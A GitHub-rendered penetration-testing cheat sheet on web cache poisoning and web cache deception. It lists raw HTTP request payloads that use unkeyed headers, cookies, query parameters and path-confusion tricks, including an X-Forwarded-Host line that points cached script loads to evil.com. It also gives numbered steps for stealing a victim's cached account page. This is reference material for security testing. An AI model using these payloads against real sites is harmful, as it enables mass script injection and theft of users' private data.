Skip to content

Latest commit

 

History

History
188 lines (144 loc) · 5.25 KB

File metadata and controls

188 lines (144 loc) · 5.25 KB

Web Cache Attacks

Web Cache Poisoning

Unkeyed Headers

# Find unkeyed inputs that are reflected in response
# X-Forwarded-Host (most common)
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
# Response: <script src="//evil.com/static/main.js">

# Other unkeyed headers to test:
X-Forwarded-Scheme: http          # force redirect to http
X-Forwarded-Proto: http
X-Original-URL: /admin
X-Rewrite-URL: /evil-path
X-Forwarded-Port: 1234
X-Forwarded-Prefix: /evil

# Cookie-based poisoning
GET /page HTTP/1.1
Cookie: lang=en</script><script>alert(1)</script>
# If cookie value reflected and response cached without cookie in cache key

# Vary header bypass
# If Vary: User-Agent, still try other unkeyed headers
# If Vary: Accept-Language, poison for the most common language

# Fat GET (body in GET request)
GET /page HTTP/1.1
Content-Type: application/x-www-form-urlencoded

param=<script>alert(1)</script>
# Some frameworks process GET body, cache ignores it

Cache Key Manipulation

# Add cache buster to test without affecting real users
GET /page?cachebuster=abc123 HTTP/1.1
X-Forwarded-Host: evil.com

# Port-based cache poisoning
GET / HTTP/1.1
Host: target.com:1234
# Cache key might not include port, but reflected in response

# Duplicate headers
GET / HTTP/1.1
Host: target.com
Host: evil.com

Cache Key Normalization Issues

# Cache normalizes path but origin doesn't (or vice versa)
/page?param=value     # cached
/page?param=value%0d%0aX-Injected:header  # different to origin, same to cache

# Case sensitivity differences
/Page vs /page  # might be same cache key, different origin behavior

Web Cache Deception

Path Confusion

# Trick cache into storing authenticated response
# Cache thinks it's a static file, origin serves dynamic page

/my-account/a.js               # cache stores as .js (static)
/my-account;a.js               # semicolon path parameter (origin ignores .js)
/my-account%2fa.js              # encoded slash
/my-account/.js                 # dotfile
/my-account%23/static/main.js   # fragment injection
/my-account%3f.js               # encoded ?
/settings/non-existent.css      # 404 for static, still renders settings?

# Path traversal in cache vs origin
/css/labs.css%2f..%2f..%2f..%2fmy-account?x.css
/static/..%2f..%2fmy-account
/my-account%23%2f%2e%2e%2fresources?abc

# Extension-based rules
/my-account/anything.css
/my-account/anything.js
/my-account/anything.png
/my-account/anything.ico
/my-account/anything.svg

Delimiter Differences

# Character treated as path delimiter by origin but not cache (or vice versa)
/my-account;x.js    # ; is delimiter in Java/Tomcat
/my-account#x.js    # # is fragment (browser strips, but server might not)
/my-account?x.js    # ? starts query
/my-account%00x.js  # null byte

Exploitation

1. Find authenticated endpoint that serves sensitive data (e.g., /my-account)
2. Append static extension: /my-account/x.css
3. If origin still returns account page but cache stores it as static
4. Send link to victim: https://target.com/my-account/x.css
5. Victim visits (their auth session serves their data, cache stores it)
6. Attacker visits same URL -> gets victim's cached account page

Detection

# Headers indicating cache:
X-Cache: HIT / MISS
CF-Cache-Status: HIT / MISS
Age: 300
X-Cache-Hits: 1
X-Served-By: cache-xxx
Vary: Accept-Encoding
Cache-Control: public, max-age=xxx

# Tools:
# Param Miner (Burp extension) - finds unkeyed inputs
# Web Cache Vulnerability Scanner

Response Queue Poisoning

# Exploit connection reuse between cache/CDN and origin
# If you can desync the response queue (via request smuggling or CL.0):
# Victim's request gets YOUR response (or another user's response)

# See HTTP-Request-Smuggling.md -> Response Queue Poisoning

# Steps:
# 1. Find connection reuse between CDN/proxy and origin
# 2. Smuggle a complete request that generates an extra response
# 3. This extra response shifts the queue
# 4. Next legitimate request receives the shifted response
# 5. If that response gets cached -> all users get wrong content

Unkeyed Query Parameters

# Some CDNs exclude certain query params from cache key
# utm_source, utm_medium, utm_campaign, fbclid, gclid, etc.

GET /page?utm_content=<script>alert(1)</script>
# If utm_content is reflected in page AND excluded from cache key:
# Response cached for /page (without the param in key)
# All visitors to /page get XSS

# Test by adding ?_=random and checking if response is still cached
# Use Param Miner to find unkeyed params automatically

Internal Cache Poisoning

# Target application-level caches (not CDN)
# Frameworks like Django, Rails may cache fragments or full pages

# Headers to test:
X-Original-URL: /admin      # cached response for / shows /admin
X-Rewrite-URL: /evil
X-Forwarded-Prefix: /evil

# If cache key doesn't include these headers but app uses them for routing

References

Cache Deception Allows Cache Poisoning

How I Test For Web Cache Vulnerabilities + Tips And Tricks

DOS via cache poisoning